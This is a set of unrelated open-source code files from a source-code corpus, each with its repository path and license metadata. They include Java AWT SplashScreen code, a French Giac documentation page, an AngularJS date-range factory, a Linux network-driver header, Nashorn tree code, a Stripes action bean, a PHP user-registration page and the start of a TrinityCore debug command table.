@throws UnsupportedOperationException if the splash screen feature is not * supported by the current toolkit * @throws HeadlessException if {@code GraphicsEnvironment.isHeadless()} * returns true * @return the {@link SplashScreen} instance, or {@code null} if there is * none or it has already been closed */ public static SplashScreen getSplashScreen() { synchronized (SplashScreen.class) { if (GraphicsEnvironment.isHeadless()) { throw new HeadlessException(); } // SplashScreen class is now a singleton if (!wasClosed && theInstance == null) { java.security.AccessController.doPrivileged( new java.security.PrivilegedAction<Void>() { public Void run() { System.loadLibrary("splashscreen"); return null; } }); long ptr = _getInstance(); if (ptr != 0 && _isVisible(ptr)) { theInstance = new SplashScreen(ptr); } } return theInstance; } } /** * Changes the splash screen image. The new image is loaded from the * specified URL; GIF, JPEG and PNG image formats are supported. * The method returns after the image has finished loading and the window * has been updated. * The splash screen window is resized according to the size of * the image and is centered on the screen. * * @param imageURL the non-{@code null} URL for the new * splash screen image * @throws NullPointerException if {@code imageURL} is {@code null} * @throws IOException if there was an error while loading the image * @throws IllegalStateException if the splash screen has already been * closed */ public void setImageURL(URL imageURL) throws NullPointerException, IOException, IllegalStateException { checkVisible(); URLConnection connection = imageURL.openConnection(); connection.connect(); int length = connection.getContentLength(); java.io.InputStream stream = connection.getInputStream(); byte[] buf = new byte[length]; int off = 0; while(true) { // check for available data int available = stream.available(); if (available <= 0) { // no data available... well, let's try reading one byte // we'll see what happens then available = 1; } // check for enough room in buffer, realloc if needed // the buffer always grows in size 2x minimum if (off + available > length) { length = off*2; if (off + available > length) { length = available+off; } byte[] oldBuf = buf; buf = new byte[length]; System.arraycopy(oldBuf, 0, buf, 0, off); } // now read the data int result = stream.read(buf, off, available); if (result < 0) { break; } off += result; } synchronized(SplashScreen.class) { checkVisible(); if (!_setImageData(splashPtr, buf)) { throw new IOException("Bad image format or i/o error when loading image"); } this.imageURL = imageURL; } } private void checkVisible() { if (!isVisible()) { throw new IllegalStateException("no splash screen available"); } } /** * Returns the current splash screen image. * * @return URL for the current splash screen image file * @throws IllegalStateException if the splash screen has already been closed */ @SuppressWarnings("deprecation") public URL getImageURL() throws IllegalStateException { synchronized (SplashScreen.class) { checkVisible(); if (imageURL == null) { try { String fileName = _getImageFileName(splashPtr); String jarName = _getImageJarName(splashPtr); if (fileName != null) { if (jarName != null) { imageURL = new URL("jar:"+(new File(jarName).toURL().toString())+"!/"+fileName); } else { imageURL = new File(fileName).toURL(); } } } catch(java.net.MalformedURLException e) { if (log.isLoggable(PlatformLogger.Level.FINE)) { log.fine("MalformedURLException caught in the getImageURL() method", e); } } } return imageURL; } } /** * Returns the bounds of the splash screen window as a {@link Rectangle}. * This may be useful if, for example, you want to replace the splash * screen with your window at the same location. * <p> * You cannot control the size or position of the splash screen. * The splash screen size is adjusted automatically when the image changes. * <p> * The image may contain transparent areas, and thus the reported bounds may * be larger than the visible splash screen image on the screen. * * @return a {@code Rectangle} containing the splash screen bounds * @throws IllegalStateException if the splash screen has already been closed */ public Rectangle getBounds() throws IllegalStateException { synchronized (SplashScreen.class) { checkVisible(); float scale = _getScaleFactor(splashPtr); Rectangle bounds = _getBounds(splashPtr); assert scale > 0; if (scale > 0 && scale != 1) { bounds.setSize((int) (bounds.getWidth() / scale), (int) (bounds.getHeight() / scale)); } return bounds; } } /** * Returns the size of the splash screen window as a {@link Dimension}. * This may be useful if, for example, * you want to draw on the splash screen overlay surface. * <p> * You cannot control the size or position of the splash screen. * The splash screen size is adjusted automatically when the image changes. * <p> * The image may contain transparent areas, and thus the reported size may * be larger than the visible splash screen image on the screen. * * @return a {@link Dimension} object indicating the splash screen size * @throws IllegalStateException if the splash screen has already been closed */ public Dimension getSize() throws IllegalStateException { return getBounds().getSize(); } /** * Creates a graphics context (as a {@link Graphics2D} object) for the splash * screen overlay image, which allows you to draw over the splash screen. * Note that you do not draw on the main image but on the image that is * displayed over the main image using alpha blending. Also note that drawing * on the overlay image does not necessarily update the contents of splash * screen window. You should call {@code update()} on the * {@code SplashScreen} when you want the splash screen to be * updated immediately. * <p> * The pixel (0, 0) in the coordinate space of the graphics context * corresponds to the origin of the splash screen native window bounds (see * {@link #getBounds()}). * * @return graphics context for the splash screen overlay surface * @throws IllegalStateException if the splash screen has already been closed */ public Graphics2D createGraphics() throws IllegalStateException { synchronized (SplashScreen.class) { checkVisible(); if (image==null) { // get unscaled splash image size Dimension dim = _getBounds(splashPtr).getSize(); image = new BufferedImage(dim.width, dim.height, BufferedImage.TYPE_INT_ARGB); } float scale = _getScaleFactor(splashPtr); Graphics2D g = image.createGraphics(); assert (scale > 0); if (scale <= 0) { scale = 1; } g.scale(scale, scale); return g; } } /** * Updates the splash window with current contents of the overlay image. * * @throws IllegalStateException if the overlay image does not exist; * for example, if {@code createGraphics} has never been called, * or if the splash screen has already been closed */ public void update() throws IllegalStateException { BufferedImage image; synchronized (SplashScreen.class) { checkVisible(); image = this.image; } if (image == null) { throw new IllegalStateException("no overlay image available"); } DataBuffer buf = image.getRaster().getDataBuffer(); if (!(buf instanceof DataBufferInt)) { throw new AssertionError("Overlay image DataBuffer is of invalid type == "+buf.getClass().getName()); } int numBanks = buf.getNumBanks(); if (numBanks!=1) { throw new AssertionError("Invalid number of banks =="+numBanks+" in overlay image DataBuffer"); } if (!(image.getSampleModel() instanceof SinglePixelPackedSampleModel)) { throw new AssertionError("Overlay image has invalid sample model == "+image.getSampleModel().getClass().getName()); } SinglePixelPackedSampleModel sm = (SinglePixelPackedSampleModel)image.getSampleModel(); int scanlineStride = sm.getScanlineStride(); Rectangle rect = image.getRaster().getBounds(); // Note that we steal the data array here, but just for reading // so we do not need to mark the DataBuffer dirty... int[] data = SunWritableRaster.stealData((DataBufferInt)buf, 0); synchronized(SplashScreen.class) { checkVisible(); _update(splashPtr, data, rect.x, rect.y, rect.width, rect.height, scanlineStride); } } /** * Hides the splash screen, closes the window, and releases all associated * resources. * * @throws IllegalStateException if the splash screen has already been closed */ public void close() throws IllegalStateException { synchronized (SplashScreen.class) { checkVisible(); _close(splashPtr); image = null; SplashScreen.markClosed(); } } static void markClosed() { synchronized (SplashScreen.class) { wasClosed = true; theInstance = null; } } /** * Determines whether the splash screen is visible. The splash screen may * be hidden using {@link #close()}, it is also hidden automatically when * the first AWT/Swing window is made visible. * <p> * Note that the native platform may delay presenting the splash screen * native window on the screen. The return value of {@code true} for this * method only guarantees that the conditions to hide the splash screen * window have not occurred yet. * * @return true if the splash screen is visible (has not been closed yet), * false otherwise */ public boolean isVisible() { synchronized (SplashScreen.class) { return !wasClosed && _isVisible(splashPtr); } } private BufferedImage image; // overlay image private final long splashPtr; // pointer to native Splash structure private static boolean wasClosed = false; private URL imageURL; /** * The instance reference for the singleton. * ({@code null} if no instance exists yet.) * * @see #getSplashScreen * @see #close */ private static SplashScreen theInstance = null; private static final PlatformLogger log = PlatformLogger.getLogger("java.awt.SplashScreen"); private static native void _update(long splashPtr, int[] data, int x, int y, int width, int height, int scanlineStride); private static native boolean _isVisible(long splashPtr); private static native Rectangle _getBounds(long splashPtr); private static native long _getInstance(); private static native void _close(long splashPtr); private static native String _getImageFileName(long splashPtr); private static native String _getImageJarName(long SplashPtr); private static native boolean _setImageData(long SplashPtr, byte[] data); private static native float _getScaleFactor(long SplashPtr); }
FauxFaux/jdk9-jdk
src/java.desktop/share/classes/java/awt/SplashScreen.java
Java
gpl-2.0
17,767
<!DOCTYPE html> <html > <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="generator" content="hevea 2.29+5 of 2017-05-18"> <link rel="stylesheet" type="text/css" href="cascmd_fr.css"> <title>Matrice de zéros : newMat matrix</title> </head> <body > <a href="cascmd_fr560.html"><img src="previous_motif.gif" alt="Previous"></a> <a href="index.html"><img src="contents_motif.gif" alt="Up"></a> <a href="cascmd_fr562.html"><img src="next_motif.gif" alt="Next"></a> <hr> <h3 id="sec694" class="subsection">6.46.2  Matrice de zéros : <span style="font-family:monospace">newMat matrix</span></h3> <p><a id="hevea_default1037"></a><a id="hevea_default1038"></a> <span style="font-family:monospace">newMat(n,p)</span> ou <span style="font-family:monospace">matrix(n,p)</span> renvoie la matrice de <span style="font-family:monospace">n</span> lignes et de <span style="font-family:monospace">p</span> colonnes formée par des zéros.<br> On tape : </p><div class="center"><span style="font-family:monospace">newMat(4,3)</span></div><p> Ou on tape : </p><div class="center"><span style="font-family:monospace">matrix(4,3)</span></div><p> On obtient : </p><div class="center"><span style="font-family:monospace">[[0,0,0],[0,0,0],[0,0,0],[0,0,0]]</span></div><p> <span style="font-weight:bold">Remarque</span><br> <span style="font-family:monospace">matrix</span> sert aussi à définir une matrice et à transformer une table en une matrice (par ex <span style="font-family:monospace">matrix(n,p,(i,j)-&gt;i+j)</span> et si <span style="font-family:monospace">A:=table((0,0)=1,(4,4)=4)</span> alors <span style="font-family:monospace">matrix(A)</span> transforme <span style="font-family:monospace">A</span> en une matrice).</p> <hr> <a href="cascmd_fr560.html"><img src="previous_motif.gif" alt="Previous"></a> <a href="index.html"><img src="contents_motif.gif" alt="Up"></a> <a href="cascmd_fr562.html"><img src="next_motif.gif" alt="Next"></a> </body> </html>
hiplayer/giac
giac/giac-1.5.0/doc/fr/cascmd_fr/cascmd_fr561.html
HTML
gpl-2.0
1,996
angular.module('ui-components') .factory('DatetimeRange', function DatetimeRangeFactory(DatetimeHelper) { return function DatetimeRange() { var data = { 'startDate': null, 'endDate' : null, 'allDay' : false }, startTimeCache, endTimeCache, /** * Sets start or end date with ISOString. * * @param {string} key The data key to update. Can be 'start' or 'end'. * @param {string} date Any date format that moment accepts. * @param {object} time The time object from pickadate. * @private */ setDateTime = function (key, date, time) { var datetime = DatetimeHelper.create(date, time); data[key + 'Date'] = datetime; return this; }, /** * Convenience to ensure the time is set alongside the date. * * @public */ setStartDate = function (date) { setDateTime('start', date, startTimeCache); console.info('changed start date to:'); console.info(date); return this; }, /** * Convenience to ensure the time is set alongside the date. * * @public */ setEndDate = function (date) { setDateTime('end', date, endTimeCache); console.info('changed end date to:'); console.info(date); return this; }, /** * @public */ setStartTime = function (time) { startTimeCache = time; data.startDate = DatetimeHelper.create(data.startDate, time); console.info('changed start time to:'); console.info(data.startDate); return this; }, /** * @public */ setEndTime = function (time) { endTimeCache = time; data.endDate = DatetimeHelper.create(data.endDate, time); console.info('changed end time to:'); console.info(data.endDate); return this; }, /** * Sets the all day flag and updates the date string to reflect an * all day event. * * @todo What happens if something is not all day? Should we cache the previous * times and replace them into the date strings? * * @public * @param {Boolean} isAllDay */ setAllDay = function (isAllDay) { console.info('changed all day to:'); console.log(isAllDay); if (isAllDay) { // startDate and endDate always exist setDateTime('start', DatetimeHelper.getStartOfDay(data.startDate)); setDateTime('end', DatetimeHelper.getEndOfDay(data.endDate)); } else { setStartDate(data.startDate); setEndDate(data.endDate); } }, isSameDay = function () { return DatetimeHelper.getStartOfDay(data.startDate) === DatetimeHelper.getStartOfDay(data.endDate); }, /** * @public */ getData = function () { return data; }; // API return { 'setStartDate': setStartDate, 'setEndDate': setEndDate, 'setStartTime': setStartTime, 'setEndTime': setEndTime, 'setAllDay': setAllDay, 'isSameDay': isSameDay, 'getData': getData }; }; });
FronterAS/datetime-range
app/ui-components/datetimeRange/datetimeRangeFactory.js
JavaScript
gpl-2.0
4,412
/******************************************************************************* Header File to describe the DMA descriptors. Enhanced descriptors have been in case of DWMAC1000 Cores. This program is free software; you can redistribute it and/or modify it under the terms and conditions of the GNU General Public License, version 2, as published by the Free Software Foundation. This program is distributed in the hope it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA. The full GNU General Public License is included in this distribution in the file called "COPYING". Author: Giuseppe Cavallaro <peppe.cavallaro@st.com> *******************************************************************************/ struct dma_desc { /* Receive descriptor */ union { struct { /* RDES0 */ u32 reserved1:1; u32 crc_error:1; u32 dribbling:1; u32 mii_error:1; u32 receive_watchdog:1; u32 frame_type:1; u32 collision:1; u32 frame_too_long:1; u32 last_descriptor:1; u32 first_descriptor:1; u32 multicast_frame:1; u32 run_frame:1; u32 length_error:1; u32 partial_frame_error:1; u32 descriptor_error:1; u32 error_summary:1; u32 frame_length:14; u32 filtering_fail:1; u32 own:1; /* RDES1 */ u32 buffer1_size:11; u32 buffer2_size:11; u32 reserved2:2; u32 second_address_chained:1; u32 end_ring:1; u32 reserved3:5; u32 disable_ic:1; } rx; struct { /* RDES0 */ u32 payload_csum_error:1; u32 crc_error:1; u32 dribbling:1; u32 error_gmii:1; u32 receive_watchdog:1; u32 frame_type:1; u32 late_collision:1; u32 ipc_csum_error:1; u32 last_descriptor:1; u32 first_descriptor:1; u32 vlan_tag:1; u32 overflow_error:1; u32 length_error:1; u32 sa_filter_fail:1; u32 descriptor_error:1; u32 error_summary:1; u32 frame_length:14; u32 da_filter_fail:1; u32 own:1; /* RDES1 */ u32 buffer1_size:13; u32 reserved1:1; u32 second_address_chained:1; u32 end_ring:1; u32 buffer2_size:13; u32 reserved2:2; u32 disable_ic:1; } erx; /* -- enhanced -- */ /* Transmit descriptor */ struct { /* TDES0 */ u32 deferred:1; u32 underflow_error:1; u32 excessive_deferral:1; u32 collision_count:4; u32 heartbeat_fail:1; u32 excessive_collisions:1; u32 late_collision:1; u32 no_carrier:1; u32 loss_carrier:1; u32 reserved1:3; u32 error_summary:1; u32 reserved2:15; u32 own:1; /* TDES1 */ u32 buffer1_size:11; u32 buffer2_size:11; u32 reserved3:1; u32 disable_padding:1; u32 second_address_chained:1; u32 end_ring:1; u32 crc_disable:1; u32 reserved4:2; u32 first_segment:1; u32 last_segment:1; u32 interrupt:1; } tx; struct { /* TDES0 */ u32 deferred:1; u32 underflow_error:1; u32 excessive_deferral:1; u32 collision_count:4; u32 vlan_frame:1; u32 excessive_collisions:1; u32 late_collision:1; u32 no_carrier:1; u32 loss_carrier:1; u32 payload_error:1; u32 frame_flushed:1; u32 jabber_timeout:1; u32 error_summary:1; u32 ip_header_error:1; u32 time_stamp_status:1; u32 reserved1:2; u32 second_address_chained:1; u32 end_ring:1; u32 checksum_insertion:2; u32 reserved2:1; u32 time_stamp_enable:1; u32 disable_padding:1; u32 crc_disable:1; u32 first_segment:1; u32 last_segment:1; u32 interrupt:1; u32 own:1; /* TDES1 */ u32 buffer1_size:13; u32 reserved3:3; u32 buffer2_size:13; u32 reserved4:3; } etx; /* -- enhanced -- */ } des01; unsigned int des2; unsigned int des3; }; /* Transmit checksum insertion control */ enum tdes_csum_insertion { cic_disabled = 0, /* Checksum Insertion Control */ cic_only_ip = 1, /* Only IP header */ cic_no_pseudoheader = 2, /* IP header but pseudoheader * is not calculated */ cic_full = 3, /* IP header and pseudoheader */ };
jeffegg/beaglebone
drivers/net/stmmac/descs.h
C
gpl-2.0
4,420
/* * Copyright (c) 2016, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package jdk.nashorn.api.tree; import java.util.List; import java.util.stream.Collectors; import jdk.nashorn.internal.ir.FunctionNode; import jdk.nashorn.internal.ir.IdentNode; import jdk.nashorn.internal.ir.Module; import static jdk.nashorn.api.tree.ModuleTreeImpl.identOrNull; final class ImportEntryTreeImpl extends TreeImpl implements ImportEntryTree { private final long startPos, endPos; private final IdentifierTree moduleRequest; private final IdentifierTree importName; private final IdentifierTree localName; private ImportEntryTreeImpl(final long startPos, final long endPos, IdentifierTree moduleRequest, IdentifierTree importName, IdentifierTree localName) { super(null); // No underlying Node! this.startPos = startPos; this.endPos = endPos; this.moduleRequest = moduleRequest; this.importName = importName; this.localName = localName; } private static ImportEntryTreeImpl createImportEntry(Module.ImportEntry entry) { return new ImportEntryTreeImpl(entry.getStartPosition(), entry.getEndPosition(), identOrNull(entry.getModuleRequest()), identOrNull(entry.getImportName()), identOrNull(entry.getLocalName())); } static List<ImportEntryTreeImpl> createImportList(List<Module.ImportEntry> importList) { return importList.stream(). map(ImportEntryTreeImpl::createImportEntry). collect(Collectors.toList()); } @Override public Kind getKind() { return Tree.Kind.IMPORT_ENTRY; } @Override public <R,D> R accept(final TreeVisitor<R,D> visitor, final D data) { return visitor.visitImportEntry(this, data); } @Override public long getStartPosition() { return startPos; } @Override public long getEndPosition() { return endPos; } @Override public IdentifierTree getModuleRequest() { return moduleRequest; } @Override public IdentifierTree getImportName() { return importName; } @Override public IdentifierTree getLocalName() { return localName; } }
FauxFaux/jdk9-nashorn
src/jdk.scripting.nashorn/share/classes/jdk/nashorn/api/tree/ImportEntryTreeImpl.java
Java
gpl-2.0
3,440
package cz.fi.muni.pa165.calorycounter.frontend; import cz.fi.muni.pa165.calorycounter.serviceapi.ActivityService; import cz.fi.muni.pa165.calorycounter.serviceapi.dto.ActivityDto; import cz.fi.muni.pa165.calorycounter.serviceapi.dto.WeightCategory; import java.util.List; import net.sourceforge.stripes.action.*; import net.sourceforge.stripes.integration.spring.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * Stripes ActionBean for handling book operations. * * @author Jan Kučera */ @UrlBinding("/activities") public class ActivitiesActionBean extends BaseActionBean { final static Logger log = LoggerFactory.getLogger(ActivitiesActionBean.class); @SpringBean //Spring can inject even to private and protected fields protected ActivityService activityService; private List<ActivityDto> activities; private String showDeleted; public void setShowDeleted(String value) { this.showDeleted = value; } public String getShowDeleted() { return showDeleted; } public WeightCategory[] getWeightCategories() { return WeightCategory.values(); } @DefaultHandler public Resolution list() { log.debug("list()"); showDeleted = "false"; activities = activityService.getActive(); return new ForwardResolution("/activities/list.jsp"); } @HandlesEvent(value = "switchView") public Resolution switchView() { log.debug("switchView"); if (showDeleted == null) { showDeleted = "false"; } if (showDeleted.equals("true")) { activities = activityService.getDeleted(); } else { activities = activityService.getActive(); } return new ForwardResolution("/activities/list.jsp"); } public List<ActivityDto> getActivities() { return activities; } }
smartly23/CaloryCounter
CaloryCounter-Web/src/main/java/cz/fi/muni/pa165/calorycounter/frontend/ActivitiesActionBean.java
Java
gpl-2.0
1,898
<?php /** * This is the register page for the users */ include_once 'Includes/db.php'; session_start(); include_once 'Includes/header.php'; print '<div class="well well-mini"> <h4>User Register Form</h4></div>'; if ($_SERVER['REQUEST_METHOD'] != 'POST' || isset($_POST['login'])) { // Display the form if it hasn't been posted yet print '<div class="alert" id="required-alert"> <strong><strong class="text-error">* </strong>indicates required field</strong></div> <form method="post" action="" class="form-horizontal"> <div class="control-group"> <label class="control-label"><strong class="text-error">* </strong>Username:</label> <div class="controls"> <input type="text" name="user_name"></div></div> <div class="control-group"> <label class="control-label"><strong class="text-error">* </strong>Password:</label> <div class="controls"> <input type="password" name="user_pass"></div></div> <div class="control-group"> <label class="control-label"><strong class="text-error">* </strong>Re-enter Password:</label> <div class="controls"> <input type="password" name="user_pass_check"></div></div> <div class="control-group"> <label class="control-label">E-mail:</label> <div class="controls"> <input type="email" name="user_email"></div></div> <div class="control-group"> <h4>Terms & Privacy:</h4> <textarea rows="6" class="field span7" readonly> Terms of Service: Thank you for your interest in Dine-A-Mite! This Terms of Service document ("Agreement") describes the terms and conditions of your use of any online service provided by the Dine-A-Mite website, including your participation in sharing recipes, providing ratings for existing recipes and preparation of the recipes featured on Dine-A-Mite. Please read this agreement carefully.By using Dine-A-Mite, you are agreeing to comply with the terms of this Agreement.If for any reason you do not agree with any part of this document, you must discontinue your use of Dine-A-Mite.Please also be aware that Dine-A-Mite may revise this Agreement at any point.All registered users will be advised via their email address on record that such changes have ccurred.Your use of Dine-A-Mite must comply with the terms and conditions in effect at the time of your use. Privacy Statement: You agree to provide Dine-A-Mite with accurate information at the time of registration.Dine-A-Mite, in turn, guarantees that your personal information will be kept confidential and protected from unauthorized access by non-Dine-A-Mite related parties at all times. You agree that any content uploaded to Dine-A-Mite by you will contain no copyrighted or otherwise legally restricted materials, including all images and text provided by you.Your recipe information, in its entirety, is thus available through Dine-A-Mite for public use and reproduction, as no copyrighted materials are allowed on Dine-A-Mite.Any information provided by you to Dine-A-Mite shall be subject to review by Dine-A-Mite for compliance with copyright restrictions and for removal of any questionable or offensive material.Dine-A-Mite reserves the right to refuse the inclusion of any material which is determined to be offensive, abusive or illegal.Failure to comply with Dine-A-Mite content policies on your part means that you agree to accept all legal and financial responsibilities which may result from such noncompliance. Any questions or concerns about any of the terms or conditions listed here should be directed to Dine-A-Mite via our contact page. </textarea></div> <div class="control-group"> <label class="control-label"><strong class="text-error">* </strong>Agree?</label> <div class="controls"> <input type="radio" name="terms" value="yes"/>&nbspYes&nbsp&nbsp&nbsp <input type="radio" name="terms" value="no" checked/>&nbspNo </div></div> <div class = "control-group"> <div class="controls"> <input type="submit" value="Register" class="btn btn-primary btn-large"></div></div> </form>'; } else { // Process the values if the form has been posted $errors = array(); if (isset($_POST['user_name'])) { // Validate the user name if ($_POST['user_name'] == NULL) { $errors[] = 'The "Username" field is required.'; } else { if (!ctype_alnum($_POST['user_name'])) { $errors[] = 'The username can only contain letters and digits.'; } if (strlen($_POST['user_name']) > 30) { $errors[] = 'The username cannot be longer than 30 characters.'; } } } if (isset($_POST['user_pass']) || isset($_POST['user_pass_check'])) { if ($_POST['user_pass'] == NULL) { $errors[] = 'The "Password" field is required.'; } if ($_POST['user_pass_check'] == NULL) { $errors[] = 'The "Re-enter Password" field is required.'; } else if ($_POST['user_pass'] != $_POST['user_pass_check']) { $errors[] = 'The two passwords don\'t match.'; } } if ($_POST['terms'] == 'no') { $errors[] = 'You have to agree with our terms & privacy.'; } if (!empty($errors)) { print '<div class="alert alert-error"> <button type="button" class="close" data-dismiss="alert">×</button> Error: Some fields are not entered correctly.<ul>'; // Generate a list of errors foreach ($errors as $key => $value) { print '<li>' . $value . '</li>'; } print '</ul></div> <div class="alert" id="required-alert"> <strong><strong class="text-error">* </strong>indicates required field</strong></div> <form method="post" action="" class="form-horizontal"> <div class="control-group"> <label class="control-label"><strong class="text-error">* </strong>Username:</label> <div class="controls"> <input type="text" name="user_name"></div></div> <div class="control-group"> <label class="control-label"><strong class="text-error">* </strong>Password:</label> <div class="controls"> <input type="password" name="user_pass"></div></div> <div class="control-group"> <label class="control-label"><strong class="text-error">* </strong>Re-enter Password:</label> <div class="controls"> <input type="password" name="user_pass_check"></div></div> <div class="control-group"> <label class="control-label">E-mail:</label> <div class="controls"> <input type="email" name="user_email"></div></div> <div class="control-group"> <h4>Terms & Privacy:</h4> <textarea rows="6" class="field span7" readonly> Terms of Service: Thank you for your interest in Dine-A-Mite! This Terms of Service document ("Agreement") describes the terms and conditions of your use of any online service provided by the Dine-A-Mite website, including your participation in sharing recipes, providing ratings for existing recipes and preparation of the recipes featured on Dine-A-Mite. Please read this agreement carefully.By using Dine-A-Mite, you are agreeing to comply with the terms of this Agreement.If for any reason you do not agree with any part of this document, you must discontinue your use of Dine-A-Mite.Please also be aware that Dine-A-Mite may revise this Agreement at any point.All registered users will be advised via their email address on record that such changes have ccurred.Your use of Dine-A-Mite must comply with the terms and conditions in effect at the time of your use. Privacy Statement: You agree to provide Dine-A-Mite with accurate information at the time of registration.Dine-A-Mite, in turn, guarantees that your personal information will be kept confidential and protected from unauthorized access by non-Dine-A-Mite related parties at all times. You agree that any content uploaded to Dine-A-Mite by you will contain no copyrighted or otherwise legally restricted materials, including all images and text provided by you.Your recipe information, in its entirety, is thus available through Dine-A-Mite for public use and reproduction, as no copyrighted materials are allowed on Dine-A-Mite.Any information provided by you to Dine-A-Mite shall be subject to review by Dine-A-Mite for compliance with copyright restrictions and for removal of any questionable or offensive material.Dine-A-Mite reserves the right to refuse the inclusion of any material which is determined to be offensive, abusive or illegal.Failure to comply with Dine-A-Mite content policies on your part means that you agree to accept all legal and financial responsibilities which may result from such noncompliance. Any questions or concerns about any of the terms or conditions listed here should be directed to Dine-A-Mite via our contact page. </textarea></div> <div class="control-group"> <label class="control-label"><strong class="text-error">* </strong>Agree?</label> <div class="controls"> <input type="radio" name="terms" value="yes"/>&nbspYes&nbsp&nbsp&nbsp <input type="radio" name="terms" value="no" checked/>&nbspNo </div></div> <div class = "control-group"> <div class="controls"> <input type="submit" value="Register" class="btn btn-primary btn-large"></div></div> </form>'; } else { // Submit the form in the database if it has been posted without errors $sql = "INSERT INTO users (user_name, user_pass, user_email, user_date, user_level) VALUES ('" . mysql_real_escape_string($_POST['user_name']) . "', '" . sha1($_POST['user_pass']) . "', '" . mysql_real_escape_string($_POST['user_email']) . "', NOW(), 0)"; $result = mysql_query($sql); if (!$result) { // Display the error message print '<div class="alert alert-error"> <button type="button" class="close" data-dismiss="alert">×</button> Something went wrong while registering. Please try again later.'; // Debug code //print mysql_error(); print '</div>'; print '<form method="post" action="" class="form-horizontal"> <div class="control-group"> <label class="control-label">Username:</label> <div class="controls"> <input type="text" name="user_name"></div></div> <div class="control-group"> <label class="control-label">Password:</label> <div class="controls"> <input type="password" name="user_pass"></div></div> <div class="control-group"> <label class="control-label">Re-enter Password:</label> <div class="controls"> <input type="password" name="user_pass_check"></div></div> <div class="control-group"> <label class="control-label">E-mail:</label> <div class="controls"> <input type="email" name="user_email"></div></div> <div class = "control-group"> <div class="controls"> <input type="submit" value="Register" class="btn btn-primary btn-large"></div></div> </form>'; } else { print '<h4 class="text-success">Successfully registered. You can now sign in and start uploading recipes!</h4>'; } } } include_once 'Includes/footer.php'; ?>
KungFuLucky7/NetBeansProjects
dine-a-mite/register.php
PHP
gpl-2.0
13,004
/* * Copyright (C) 2008-2013 TrinityCore <http://www.trinitycore.org/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see <http://www.gnu.org/licenses/>. */ /* ScriptData Name: debug_commandscript %Complete: 100 Comment: All debug related commands Category: commandscripts EndScriptData */ #include "ScriptMgr.h" #include "ObjectMgr.h" #include "BattlegroundMgr.h" #include "Chat.h" #include "Cell.h" #include "CellImpl.h" #include "GridNotifiers.h" #include "GridNotifiersImpl.h" #include "GossipDef.h" #include "Transport.h" #include "Language.h" #include <fstream> class debug_commandscript : public CommandScript { public: debug_commandscript() : CommandScript("debug_commandscript") { } ChatCommand* GetCommands() const OVERRIDE { static ChatCommand debugPlayCommandTable[] = { { "cinematic", rbac::RBAC_PERM_COMMAND_DEBUG_PLAY_CINEMATIC, false, &HandleDebugPlayCinematicCommand, "", NULL }, { "movie", rbac::RBAC_PERM_COMMAND_DEBUG_PLAY_MOVIE, false, &HandleDebugPlayMovieCommand, "", NULL }, { "sound", rbac::RBAC_PERM_COMMAND_DEBUG_PLAY_SOUND, false, &HandleDebugPlaySoundCommand, "", NULL }, { NULL, 0, false, NULL, "", NULL } }; static ChatCommand debugSendCommandTable[] = { { "buyerror", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_BUYERROR, false, &HandleDebugSendBuyErrorCommand, "", NULL }, { "channelnotify", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_CHANNELNOTIFY, false, &HandleDebugSendChannelNotifyCommand, "", NULL }, { "chatmessage", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_CHATMESSAGE, false, &HandleDebugSendChatMsgCommand, "", NULL }, { "equiperror", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_EQUIPERROR, false, &HandleDebugSendEquipErrorCommand, "", NULL }, { "largepacket", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_LARGEPACKET, false, &HandleDebugSendLargePacketCommand, "", NULL }, { "opcode", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_OPCODE, false, &HandleDebugSendOpcodeCommand, "", NULL }, { "qpartymsg", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_QPARTYMSG, false, &HandleDebugSendQuestPartyMsgCommand, "", NULL }, { "qinvalidmsg", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_QINVALIDMSG, false, &HandleDebugSendQuestInvalidMsgCommand, "", NULL }, { "sellerror", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_SELLERROR, false, &HandleDebugSendSellErrorCommand, "", NULL }, { "setphaseshift", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_SETPHASESHIFT, false, &HandleDebugSendSetPhaseShiftCommand, "", NULL }, { "spellfail", rbac::RBAC_PERM_COMMAND_DEBUG_SEND_SPELLFAIL, false, &HandleDebugSendSpellFailCommand, "", NULL }, { NULL, 0, false, NULL, "", NULL } }; static ChatCommand debugCommandTable[] = { { "setbit", rbac::RBAC_PERM_COMMAND_DEBUG_SETBIT, false, &HandleDebugSet32BitCommand, "", NULL }, { "threat", rbac::RBAC_PERM_COMMAND_DEBUG_THREAT, false, &HandleDebugThreatListCommand, "", NULL }, { "hostil", 